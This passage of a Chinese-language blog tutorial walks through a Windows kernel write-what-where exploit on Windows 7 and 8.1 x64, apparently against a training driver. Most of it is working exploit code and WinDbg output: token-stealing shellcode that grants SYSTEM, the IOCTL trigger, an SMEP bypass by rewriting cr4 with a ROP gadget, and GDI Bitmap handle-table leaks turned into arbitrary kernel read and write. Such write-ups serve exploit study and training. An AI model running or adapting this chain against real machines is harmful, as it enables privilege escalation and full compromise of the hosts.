(NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA(<span class="string">"ntdll.dll"</span>), <span class="string">"NtQueryIntervalProfile"</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]NtQueryIntervalProfile address is 0x%x\n"</span>, NtQueryIntervalProfile);</span><br><span class="line">NtQueryIntervalProfile(<span class="number">0x1337</span>, &amp;interVal);</span><br></pre></td></tr></table></figure><p>总所周知Windows 7 x64是64位的，所以我们很快的就可以想到和32位的不同，所以我们在32位的基础上只需要改一下长度应该就可以拿到system权限了，实际上还是有很多坑的，这里我分享几个我遇到的坑，第一个就是我们的shellcode需要修改，因为是64位，所以偏移都会有改变，但是原理是不会变的</p><ul><li>当前线程中找到<code>_KTHREAD</code>结构体</li><li>找到<code>_EPROCESS</code>结构体</li><li>找到当前线程的token</li><li>循环便利链表找到system系统的token</li><li>替换token</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">movrax, gs:[188h]</span><br><span class="line">movrax, [rax+210h]</span><br><span class="line">mov     rcx, rax</span><br><span class="line">mov     rdx, 4</span><br><span class="line"></span><br><span class="line">findSystemPid:</span><br><span class="line">    mov    rax, [rax+188h]</span><br><span class="line">    sub    rax, 188h</span><br><span class="line">    cmp    [rax+180h], rdx</span><br><span class="line">    jnz findSystemPid</span><br><span class="line"></span><br><span class="line">    mov rdx, [rax+0208h]</span><br><span class="line">    mov [rcx+0208h], rdx</span><br><span class="line">    ret</span><br></pre></td></tr></table></figure><p><strong>Shellcode在64位下的编译</strong></p><p>首先第一个就是shellcode如何放置在64位的编译环境下，如果是像32位那样直接在代码中嵌入汇编是行不通的，这里我们需要以下几步来嵌入汇编代码(我使用的环境是VS2019，当然以前的版本也可以)</p><ol><li>项目源文件中多创建一个ShellCode.asm文件，放入我们的shellcode</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">.code</span><br><span class="line">ShellCode proc</span><br><span class="line">movrax, gs:[188h]</span><br><span class="line">movrax, [rax+210h]</span><br><span class="line">mov     rcx, rax</span><br><span class="line">mov     rdx, 4</span><br><span class="line"></span><br><span class="line">findSystemPid:</span><br><span class="line">    mov    rax, [rax+188h]</span><br><span class="line">    sub    rax, 188h</span><br><span class="line">    cmp    [rax+180h], rdx</span><br><span class="line">    jnz findSystemPid</span><br><span class="line"></span><br><span class="line">    mov rdx, [rax+0208h]</span><br><span class="line">    mov [rcx+0208h], rdx</span><br><span class="line">    ret</span><br><span class="line"></span><br><span class="line">ShellCode endp</span><br><span class="line">end</span><br></pre></td></tr></table></figure><ol start="2"><li>右键ShellCode.asm文件，点击属性，生成中排除选择否，项类型选择自定义生成工具</li></ol><p><img src="/2019/08/19/www漏洞从win7-win10/1.png" alt="1564740624883"></p><ol start="3"><li>在自定义工具里面的命令行和输出填写如下内容</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ml64 /c %(filename).asm</span><br><span class="line">%(filename).obj;%(outputs)</span><br></pre></td></tr></table></figure><p><img src="/2019/08/19/www漏洞从win7-win10/2.png" alt="1564743547152"></p><ol start="4"><li>在ShellCode.h中申明如下内容，然后在主利用函数中引用即可</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> once</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ShellCode</span><span class="params">()</span></span>;</span><br></pre></td></tr></table></figure><p><strong>shellcode的放置</strong></p><p>第二个坑就是shellcode的放置，在x86中我们是如下方法实现shellcode的放置</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">Trigger_shellcode</span><span class="params">(DWORD32 where, DWORD32 what)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">WRITE_WHAT_WHERE exploit;</span><br><span class="line">DWORD lpbReturn = <span class="number">0</span>;</span><br><span class="line">exploit.Where = (PVOID)where;</span><br><span class="line">exploit.What = (PVOID)&amp; what;</span><br><span class="line">    </span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Write at 0x%p\n"</span>, where);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Write with 0x%p\n"</span>, what);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Start to trigger...\n"</span>);</span><br><span class="line">    </span><br><span class="line">DeviceIoControl(hDevice,</span><br><span class="line"><span class="number">0x22200B</span>,</span><br><span class="line">&amp;exploit,</span><br><span class="line"><span class="keyword">sizeof</span>(WRITE_WHAT_WHERE),</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">&amp;lpbReturn,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line">    </span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Success to trigger...\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为我们现在是<code>qword</code>而不是<code>dword</code>，也就是说我们需要调用两次才能将我们的地址完全写进去，所以构造出如下的片段</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">Trigger_shellcode</span><span class="params">(UINT64 where, UINT64 what)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">WRITE_WHAT_WHERE exploitlow;</span><br><span class="line">WRITE_WHAT_WHERE exploithigh;</span><br><span class="line">DWORD lpbReturn = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">UINT32 lowValue = what;</span><br><span class="line">UINT32 highvalue = (what &gt;&gt; <span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line">exploitlow.What = (PULONG_PTR)&amp; what;</span><br><span class="line">exploitlow.Where = (PULONG_PTR)where;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Start to trigger "</span>);</span><br><span class="line"></span><br><span class="line">DeviceIoControl(hDevice,</span><br><span class="line"><span class="number">0x22200B</span>,</span><br><span class="line">&amp;exploitlow,</span><br><span class="line"><span class="number">0x10</span>,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">&amp;lpbReturn,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">exploithigh.What = (PULONG_PTR)&amp; highvalue;</span><br><span class="line">exploithigh.Where = (PULONG_PTR)(where + <span class="number">0x4</span>);</span><br><span class="line"></span><br><span class="line">DeviceIoControl(hDevice,</span><br><span class="line"><span class="number">0x22200B</span>,</span><br><span class="line">&amp;exploithigh,</span><br><span class="line"><span class="number">0x10</span>,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">&amp;lpbReturn,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"=&gt; done!\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后整合一下代码即可实现利用，整体代码和验证结果参考 =&gt; <a href="https://github.com/ThunderJie/Write-What-Where" target="_blank" rel="noopener">这里</a></p><h1 id="0x02：Windows-8-1-x64利用"><a href="#0x02：Windows-8-1-x64利用" class="headerlink" title="0x02：Windows 8.1 x64利用"></a>0x02：Windows 8.1 x64利用</h1><p>好了win7我们已经完成了利用，我们开始研究win8下的利用，首先我们需要了解一些win8的安全机制，我们拿在win7 x64下的exp直接拖入win8运行观察会发生什么，果不其然蓝屏了，我们查看一下在windbg中的分析</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">*** Fatal System Error: 0x000000fc</span><br><span class="line">                       (0x00007FF6F3B31400,0x1670000089B30025,0xFFFFD000210577E0,0x0000000080000005)</span><br><span class="line"></span><br><span class="line">Break instruction exception - code 80000003 (first chance)</span><br><span class="line">...</span><br><span class="line">0: kd&gt; !analyze -v</span><br><span class="line">*******************************************************************************</span><br><span class="line">*                                                                             *</span><br><span class="line">*                        Bugcheck Analysis                                    *</span><br><span class="line">*                                                                             *</span><br><span class="line">*******************************************************************************</span><br><span class="line"></span><br><span class="line">ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc) // 关注点</span><br><span class="line">An attempt was made to execute non-executable memory.  The guilty driver</span><br><span class="line">is on the stack trace (and is typically the current instruction pointer).</span><br><span class="line">When possible, the guilty driver&apos;s name (Unicode string) is printed on</span><br><span class="line">the bugcheck screen and saved in KiBugCheckDriver.</span><br><span class="line">Arguments:</span><br><span class="line">Arg1: 00007ff6f3b31400, Virtual address for the attempted execute.</span><br><span class="line">Arg2: 1670000089b30025, PTE contents.</span><br><span class="line">Arg3: ffffd000210577e0, (reserved)</span><br><span class="line">Arg4: 0000000080000005, (reserved)</span><br></pre></td></tr></table></figure><p>windbg中提示<code>ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY</code>这个错误，我们解读一下这句话，企图执行不可执行的内存，等等，这不就是我们pwn中的NX保护吗</p><h2 id="SMEP"><a href="#SMEP" class="headerlink" title="SMEP"></a>SMEP</h2><p>我们详细来了解一下这个保护机制，SMEP保护开启的时候我们用户层的代码不能在内核层中执行，也就是说我们的shellcode不能得到执行</p><p><img src="/2019/08/19/www漏洞从win7-win10/3.png" alt="1564814968337"></p><p>这个时候我们回想一下绕过NX的方法，瞬间就想到了ROP，那么我们现在是要拿ROP帮我们做哪些事情呢？我们看下面这张图，可以看到我们的SMEP标志位在第20位，也就是说我们只需要将cr4寄存器修改为关闭SMEP的状态即可运行我们的shellcode了</p><p><img src="/2019/08/19/www漏洞从win7-win10/5.png" alt="1564815377766"></p><h2 id="ROPgadgets"><a href="#ROPgadgets" class="headerlink" title="ROPgadgets"></a>ROPgadgets</h2><p>我们来查看一下我们的cr4寄存器的运行在我的环境下触发漏洞前后的对比</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.formats 00000000001506f8 // 开启</span><br><span class="line">    Binary:  00000000 00000000 00000000 00000000 00000000 0001        0101 00000110 11111000</span><br><span class="line">.formats 0x406f8          // 关闭</span><br><span class="line">    Binary:  00000000 00000000 00000000 00000000 00000000 0000        0100 00000110 11111000</span><br></pre></td></tr></table></figure><p>也就是说我们只需要将cr4修改为0x406f8即可在内核运行我们的shellcode从而提权，那么如何选择我们的ROP呢，我们来观察以下代码片段，可以看到里可以通过rax来修改cr4，那么问题就简单了，我们只需要把rax设为0x406f8不就行了吗，ROPgadgets的计算我们可以通过偏移来查找，首先我们通过前面的知识计算出内核基地址，然后在windbg中用u命令查看<code>KiConfigureDynamicProcessor+0x40</code>的地址，我们用该地址减去基地址即可得到偏移，有了偏移我们加上基地址就可以得到我们ROPgadgets的位置了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; u KiConfigureDynamicProcessor+0x40</span><br><span class="line">nt!KiConfigureDynamicProcessor+0x40:</span><br><span class="line">fffff803`20ffe7cc 0f22e0          mov     cr4,rax</span><br><span class="line">fffff803`20ffe7cf 4883c428        add     rsp,28h</span><br><span class="line">fffff803`20ffe7d3 c3              ret</span><br></pre></td></tr></table></figure><p>让我们再次看看我们在win7利用中如何进行Hook的，我们是直接把<code>Hal_hook_address</code>替换为ShellCode的地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Trigger_shellcode(Hal_hook_address,(UINT64)&amp;ShellCode);</span><br><span class="line">NtQueryIntervalProfile(<span class="number">0x1234</span>, &amp;interVal);</span><br></pre></td></tr></table></figure><p>我们想要做的是把<code>Hal_hook_address</code>先替换为我们的ROP，修改了cr4寄存器之后再执行我们的shellcode，这就需要进行多次读写的操作，显然光靠一个<code>Trigger_shellcode</code>是不够的，这里隆重介绍我们的 BITMAP 对象，这个对象在Windows 8.1中可谓是一个必杀技，用好它可以实现任意读和任意写</p><h2 id="BITMAP对象"><a href="#BITMAP对象" class="headerlink" title="BITMAP对象"></a>BITMAP对象</h2><p>首先我们需要了解一下这个对象的大致信息，我们直接用<code>CreateBitmap</code>函数创建一个对象然后下断点进行观察，函数原型如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">HBITMAP CreateBitmap(</span><br><span class="line"> _In_ int nWidth,</span><br><span class="line"> _In_ int nHeight,</span><br><span class="line"> _In_ UINT cPlanes,</span><br><span class="line"> _In_ UINT cBitsPerPel,</span><br><span class="line"> _In_ const VOID *lpvBits</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>我们构造如下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">HBITMAP hBitmap = CreateBitmap(<span class="number">0x10</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">8</span>, <span class="literal">NULL</span>);</span><br><span class="line">__debugbreak();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们需要用<code>GdiSharedHadnleTable</code>这个句柄表来泄露我们<code>hBitmap</code>的地址，先不用管原理是什么，总之我们现在先找到我们Bitmap的位置，可以看到我们通过一系列操作居然找到了我们的Bitmap，其分配在会话池，大小是0x370</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; r</span><br><span class="line">rax=000000007d050040 rbx=00000043e8613860 rcx=00007ffea6a934fa</span><br><span class="line">rdx=0000000000000000 rsi=0000000000000000 rdi=00000043e8617d50</span><br><span class="line">rip=00007ff7468c1033 rsp=00000043e858f8c0 rbp=0000000000000000</span><br><span class="line"> r8=00000043e858f8b8  r9=0000000000000000 r10=0000000000000000</span><br><span class="line">r11=0000000000000246 r12=0000000000000000 r13=0000000000000000</span><br><span class="line">r14=0000000000000000 r15=0000000000000000</span><br><span class="line">iopl=0         nv up ei pl zr na po nc</span><br><span class="line">cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246</span><br><span class="line">WWW!main+0x23:</span><br><span class="line">0033:00007ff7`468c1033 cc              int     3</span><br><span class="line">1: kd&gt; dt ntdll!_PEB -b GdiSharedHandleTable @$Peb</span><br><span class="line">   +0x0f8 GdiSharedHandleTable : 0x00000043`e8920000 </span><br><span class="line">1: kd&gt; ? rax&amp;ffff</span><br><span class="line">Evaluate expression: 64 = 00000000`00000040</span><br><span class="line">1: kd&gt; ? 0x00000043`e8920000+40*18</span><br><span class="line">Evaluate expression: 291664692736 = 00000043`e8920600</span><br><span class="line">1: kd&gt; dq 00000043`e8920600</span><br><span class="line">00000043`e8920600  fffff901`43c3dca0 40057d05`000008f4</span><br><span class="line">00000043`e8920610  00000000`00000000 fffff901`400c2ca0</span><br><span class="line">00000043`e8920620  40050405`00000000 00000000`00000000</span><br><span class="line">00000043`e8920630  fffff901`43c5ed60 40080508`00000000</span><br><span class="line">00000043`e8920640  00000000`00000000 fffff901`43d0d000</span><br><span class="line">00000043`e8920650  40050505`00000000 00000000`00000000</span><br><span class="line">00000043`e8920660  fffff901`43d0b000 40050305`00000000</span><br><span class="line">00000043`e8920670  00000000`00000000 fffff901`43cb9d40</span><br><span class="line">1: kd&gt; !pool fffff901`43c3dca0</span><br><span class="line">unable to get nt!ExpHeapBackedPoolEnabledState</span><br><span class="line">Pool page fffff90143c3dca0 region is Paged session pool</span><br><span class="line"> fffff90143c3d000 size:  9f0 previous size:    0  (Allocated)  Gla1</span><br><span class="line"> fffff90143c3d9f0 size:   90 previous size:  9f0  (Allocated)  DCba Process: ffffe00002475080</span><br><span class="line"> fffff90143c3da80 size:   50 previous size:   90  (Free)       Free</span><br><span class="line"> fffff90143c3dad0 size:   a0 previous size:   50  (Allocated)  Usqm</span><br><span class="line"> fffff90143c3db70 size:   30 previous size:   a0  (Allocated)  Uspi Process: ffffe00002b83900</span><br><span class="line"> fffff90143c3dba0 size:   f0 previous size:   30  (Allocated)  Gla8</span><br><span class="line">*fffff90143c3dc90 size:  370 previous size:   f0  (Allocated) *Gla5</span><br><span class="line">Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys</span><br></pre></td></tr></table></figure><p>让我们理一下这个过程，首先从命令中我们知道<code>GdiSharedHandleTable</code>是在PEB中，而<code>GdiSharedHandleTable</code>本身是一个保存GDI对象的句柄表，其指向的是一个叫<code>GDICELL64</code>的结构，其大小是0x18：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>&#123;</span></span><br><span class="line">    PVOID pKernelAddress;</span><br><span class="line">    USHORT wProcessID;</span><br><span class="line">    USHORT wCount;</span><br><span class="line">    USHORT wUpper;</span><br><span class="line">    PVOID wType;</span><br><span class="line">    PVOID64 pUserAddress;</span><br><span class="line">&#125; GDICELL64;</span><br></pre></td></tr></table></figure><p>从上面我们可以看到它可以泄露我们内核中的地址，过程就是先计算出函数返回值(rax)的低4字节作为索引，然后乘上<code>GDICELL64</code>的大小0x18，再加上<code>GdiSharedHandleTable</code>的地址即可得到我们Bitmap的地址，换成代码实现就是</p><ul><li>首先找到我们的TEB</li><li>通过TEB找到PEB</li><li>再通过PEB找到<code>GdiSharedHandleTable</code>句柄表</li><li>通过计算获得Bitmap的地址</li></ul><p>关键实现代码如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">DWORD64 <span class="title">getGdiShreadHandleTableAddr</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD64 tebAddr = (DWORD64)NtCurrentTeb();</span><br><span class="line">DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + <span class="number">0x60</span>);</span><br><span class="line">DWORD64 GdiShreadHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + <span class="number">0xf8</span>);</span><br><span class="line"><span class="keyword">return</span> GdiShreadHandleTableAddr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">DWORD64 <span class="title">getBitMapAddr</span><span class="params">(HBITMAP hBitmap)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">WORD arrayIndex = LOWORD(hBitmap);</span><br><span class="line"><span class="keyword">return</span> *(PDWORD64)(getGdiShreadHandleTableAddr() + arrayIndex * <span class="number">0x18</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>让我们来查看一下Bitmap的结构，我们只需要关注重点的位置就行了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>&#123;</span></span><br><span class="line"> BASEOBJECT64 BaseObject; <span class="comment">// 0x18bytes</span></span><br><span class="line"> SURFOBJ64 SurfObj; </span><br><span class="line"> ....... </span><br><span class="line">&#125; SURFACE64</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line"> ULONG64 hHmgr; <span class="comment">// 8bytes</span></span><br><span class="line"> ULONG32 ulShareCount; <span class="comment">// 4bytes</span></span><br><span class="line"> WORD cExclusiveLock; <span class="comment">// 2bytes</span></span><br><span class="line"> WORD BaseFlags; <span class="comment">// 2bytes</span></span><br><span class="line"> ULONG64 Tid; <span class="comment">// 8bytes</span></span><br><span class="line">&#125; BASEOBJECT64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>&#123;</span></span><br><span class="line"> ULONG64 dhsurf; <span class="comment">// 8bytes</span></span><br><span class="line"> ULONG64 hsurf; <span class="comment">// 8bytes</span></span><br><span class="line"> ULONG64 dhpdev; <span class="comment">// 8bytes</span></span><br><span class="line"> ULONG64 hdev; <span class="comment">// 8bytes</span></span><br><span class="line"> SIZEL sizlBitmap; <span class="comment">// 8bytes</span></span><br><span class="line"> ULONG64 cjBits; <span class="comment">// 8bytes</span></span><br><span class="line"> ULONG64 pvBits; <span class="comment">// 8bytes</span></span><br><span class="line"> ULONG64 pvScan0; <span class="comment">// 8bytes</span></span><br><span class="line"> ULONG32 lDelta; <span class="comment">// 4bytes</span></span><br><span class="line"> ULONG32 iUniq; <span class="comment">// 4bytes</span></span><br><span class="line"> ULONG32 iBitmapFormat; <span class="comment">// 4bytes</span></span><br><span class="line"> USHORT iType; <span class="comment">// 2bytes</span></span><br><span class="line"> USHORT fjBitmap; <span class="comment">// 2bytes</span></span><br><span class="line">&#125; SURFOBJ64</span><br></pre></td></tr></table></figure><p>这里我借鉴图片来说明，我们关注的点就只有一个<code>pvScan0</code>结构，它的偏移是 +0x50 处，可以发现它指向我们的<code>Pixel Data</code>，这个结构就是我们<code>CreateBitmap</code>函数传入的第五个参数，也就是说我们传入aaaa，那么pVscan0指向地址的内容就是aaaa</p><p><img src="/2019/08/19/www漏洞从win7-win10/6.png" alt="6"></p><h2 id="任意读写"><a href="#任意读写" class="headerlink" title="任意读写"></a>任意读写</h2><p>我们刚才分析了那么多，说到底都是为了一个目的 =&gt; 任意读任意写，那么如何才能任意读和写呢？这里我再介绍两个比较重要的函数<code>SetBitmapBits</code>和<code>GetBitmapBits</code>其原型如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">LONG <span class="title">SetBitmapBits</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  HBITMAP    hbm,</span></span></span><br><span class="line"><span class="function"><span class="params">  DWORD      cb,</span></span></span><br><span class="line"><span class="function"><span class="params">  <span class="keyword">const</span> VOID *pvBits</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function">LONG <span class="title">GetBitmapBits</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  HBITMAP hbit,</span></span></span><br><span class="line"><span class="function"><span class="params">  LONG    cb,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPVOID  lpvBits</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure><p>这两个函数的作用是向pvScan0指向的地址写(读)cb byte大小的数据，说到这里貌似有一点任意读写的感觉了，光靠一个pvScan0是肯定不能任意读写的，所以这里我们考虑使用两个pvScan0，我们把一个pvScan0指向另外一个pvScan0，我们有<code>TriggerArbitraryOverwrite</code>函数可以实现将一个pvScan0指向另一个pvScan0，然后我们再调用<code>SetBitmapBits</code>和<code>GetBitmapBits</code>函数岂不是就可以进行任意读写了，我们用图片说明：</p><p><img src="/2019/08/19/www漏洞从win7-win10/7.png" alt="7"></p><p>我们任意读写的代码构造如下，read函数实现将whereRead的内容读到whatValue的位置，write函数实现将whatValue的内容写入whereWrite的位置：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">readOOB</span><span class="params">(DWORD64 whereRead, LPVOID whatValue, <span class="keyword">int</span> len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">SetBitmapBits(hManagerBitmap, len, &amp;whereRead);</span><br><span class="line">GetBitmapBits(hWorkerBitmap, len, whatValue);<span class="comment">// read</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">VOID <span class="title">writeOOB</span><span class="params">(DWORD64 whereWrite, LPVOID whatValue, <span class="keyword">int</span> len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">SetBitmapBits(hManagerBitmap, len, &amp;whereWrite);</span><br><span class="line">SetBitmapBits(hWorkerBitmap, len, &amp;whatValue);<span class="comment">// write</span></span><br><span 